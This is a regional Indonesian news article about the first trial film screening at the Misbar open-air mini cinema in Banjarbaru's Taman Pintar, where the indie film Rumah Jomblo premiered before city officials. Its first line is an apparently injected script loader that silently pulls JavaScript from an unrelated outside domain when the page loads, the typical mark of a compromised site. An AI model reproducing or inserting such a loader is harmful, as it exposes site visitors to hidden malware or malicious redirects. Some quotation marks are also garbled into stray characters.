(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pemko Banjarbaru untuk pertama kalinya melakukan uji coba menonton film di bioskop mini/theater terbuka Misbar (Gerimis Bubar), yang menjadi salah satu fasilitas di dalam kawasan Taman Pintar, Jalan Panglima Batur, Kecamatan Banjarbaru Utara, Banjarbaru, Minggu (5/1) malam. Acara tersebut dihadiri Walikota Nadjmi Adhani, Wakil Walikota Darmawan Jaya, serta produser dan aktor yang terlibat.
Alasan dibangunnya mini bioskop ini karena Pemerintah Daerah melihat pontensi dunia perfilman di Kota Banjarbaru yang terus berkembang. Hal tersebut dinilai dari lahirnya sineas-sineas kreatif yang bisa beradu bakat hingga ke kancah nasional.
Film indie berjudul Rumah Jomblo berdurasi 1 jam, menjadi film pertama yang diputar di bioskop Misbar. Menurut sang produser, Budi Ismanto menunjukan bahwa para anak muda Banjarbaru punya bakat dalam beradu peran. Hingga di seluruh Kalimantan Selatan, Kota Banjarbaru dapat menjadi pioner perkembangan dunia perfilman di Kalimantan Selatan.
“Bakat anak-anak kita Kota Banjarabru sangatlah potensif. Hal ini bisa menjadi tolak ukur perkembangan perfilman di Banjarbaru, bahkan Kalsel,†katanya.
Nampak, Walikota Banjarbaru dan Wawakil Banjarbaru, Nadjmi Adhani dan Darmawan Jaya Setiawan beserta segenap aktor dan masyarakat tengah asik menyaksikan tayangan perdana film Indie tersebut.
Budi juga menerangkan, pada awalnya film tersebut diolah dalam bentuk 4 series. Namun pada perkembangannya film itu dibuat satu kali tayang saja, berdurasi 1 jam. Ia juga mengakui bahwa budget pembuatan film ini terbilang kecil, namun memiliki kualitas semi layar lebar.
“Yang membiayainya juga Dinas Kominfo Kota Banjarbaru. Kami Bimasakti Production sebagai pelaksananya. Alhamdulillah selama produksi kami merasa sangat terbantu, karena para aktornya kreatif dan memiliki bakat yang sangat potensif. Hal ini tidak hanya harus dipertahankan tapi dikembangkan,†tambahnya.
Lebih jauh Budi Ismanto menyampaikan, sosok Walikota dan Wakil Walikota Banjarbaru, H Nadjmi Adhani dan H Darmawan Jaya Setiawan sangat jeli melihat potensi yang dapat mengembangkan industri kreatif khususnya perfilman di Kota Banjarbaru saat ini.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.